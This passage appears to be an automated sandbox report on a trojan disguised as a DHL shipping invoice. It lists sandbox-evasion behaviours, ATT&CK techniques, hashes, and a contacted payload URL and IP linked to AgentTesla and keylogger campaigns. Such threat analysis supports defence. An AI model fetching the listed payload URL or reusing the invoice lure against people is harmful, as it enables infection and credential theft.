Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99734	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99187	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99078	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98968	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98750	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98640	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98531	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99938	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99828	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99719	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99610	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99485	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99295	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99181	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 99055	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98828	Jump to behavior
Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe	Thread delayed: delay time: 98719	Jump to behavior

Source: DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4210604047.0000000000EEF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Queries volume information: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DHL-SHIPPING INVOICE-1&.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.Generic

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rubberpartsmanufacturers.com	103.191.208.122	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdf	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://rubberpartsmanufacturers.com	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032DA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000355F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003440000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://rubberpartsmanufacturers.comd	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032DA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000355F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003440000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://rubberpartsmanufacturers.com/inneska/Kjeggzijku.vdfts	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003537000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034F4000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352A000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003481000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032EE000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003298000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://rubberpartsmanufacturers.com/inneska/Kjeggzijk	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000355F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://rubberpartsmanufacturers.com	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000002C21000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://rubberpartsmanufacturers.comD	DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003392000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000341B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000349F000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003362000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032BC000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033DF000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000352D000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032A8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033AB000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034B3000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033C9000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003478000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033BD000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.000000000348B000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000034EA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000033F8000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.00000000032DA000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003440000.00000004.00000800.00020000.00000000.sdmp, DHL-SHIPPING INVOICE-1&.exe, 00000000.00000002.4211096472.0000000003411000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.191.208.122	rubberpartsmanufacturers.com	unknown		7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1535816
Start date and time:	2024-10-17 10:44:25 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DHL-SHIPPING INVOICE-1&.exe
Detection:	MAL
Classification:	mal60.winEXE@1/0@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target DHL-SHIPPING INVOICE-1&.exe, PID 7260 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: DHL-SHIPPING INVOICE-1&.exe

Simulations

Behavior and APIs

Time	Type	Description
04:45:25	API Interceptor	11155645x Sleep call for process: DHL-SHIPPING INVOICE-1&.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
103.191.208.122	rScan_0984829339_PDF.exe	Get hash	malicious	AgentTesla	Browse
	Request for Quotation-537262227-04.exe	Get hash	malicious	AgentTesla	Browse
	AYV0eq1Gyc.exe	Get hash	malicious	AgentTesla	Browse
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rubberpartsmanufacturers.com	rScan_0984829339_PDF.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	Request for Quotation-537262227-04.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	AYV0eq1Gyc.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122
	GEFA-Order 232343-68983689.exe	Get hash	malicious	AgentTesla	Browse	103.191.208.122

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	spc.elf	Get hash	malicious	Mirai	Browse	103.160.46.133
	mips.elf	Get hash	malicious	Mirai	Browse	161.50.51.190
	QUOTE.exe	Get hash	malicious	Remcos	Browse	103.186.117.77
	m68k.elf	Get hash	malicious	Mirai	Browse	161.50.51.198
	arm7.elf	Get hash	malicious	Unknown	Browse	103.182.254.175
	m68k.elf	Get hash	malicious	Mirai	Browse	103.185.182.85
	98789876.exe	Get hash	malicious	Remcos, GuLoader	Browse	103.161.133.119
	h3G4uG7Kqi.elf	Get hash	malicious	Mirai	Browse	103.162.242.136
	na.elf	Get hash	malicious	Mirai	Browse	103.14.48.176
	na.elf	Get hash	malicious	Mirai	Browse	137.154.226.110

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	103.191.208.122
	DHL_Shipping_Invoices_Awb_BL_000000000101620242247820020031808174Global180030010162024.bat	Get hash	malicious	GuLoader, Remcos	Browse	103.191.208.122
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	103.191.208.122
	niceworkfornicepeopleswhoknowmewell.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	103.191.208.122
	seethebstthingstogetwithentirethingstobegret.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	103.191.208.122
	Nowe zam.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	103.191.208.122
	EMPLOYEE APPRAISAL REVIEW FOR Alejandra.madrazo Q4 2024.pdf	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	103.191.208.122
	Proforma Invoice_21-1541 And Packing List.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122
	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	103.191.208.122
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	103.191.208.122

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.787559115842016
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	DHL-SHIPPING INVOICE-1&.exe
File size:	50'688 bytes
MD5:	8fbbd902161a8efa056e3db546ea7946
SHA1:	4be996a6c3d74f69d1dbb46f843f759190f5110e
SHA256:	8211115dc28bb6b93fa0deff0b8be55e4d05a0a5af912040169f299b65875bda
SHA512:	348938962df5bfd085a839e0077e1c5e6daa0d92b21a92f5387ff74a6bcec9b0ffecd2649bd19452cb7787ecc2333460f8f0a07e5ee9a0ab2f90da26288db6d6
SSDEEP:	768:S3RBFILG4nPrC0FPoqCY7ZRRRzuIFCF1ONFaaantvJSJLQBjyUEQH:0xILGurC0FgqCYYF1ONFaaatv8JLuH
TLSH:	E9334A1867BD8B93C7FD2B7994F150944AF1C61BB842EF895DC8B0E64943382264A37F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....`.g................................. ........@.. ....................... ............`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40db0e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x670F60D9 [Wed Oct 16 06:44:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xdab4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x5a6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbb14	0xbc00	45518e722ab094ba9f4a746388261987	False	0.47161735372340424	data	5.882288937521216	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x5a6	0x600	7e61314358d722d5fe805e8bb0e2556d	False	0.4186197916666667	data	4.078667150548433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10000	0xc	0x200	75ce0d714c7f81aa44cbc5b64e7bf126	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
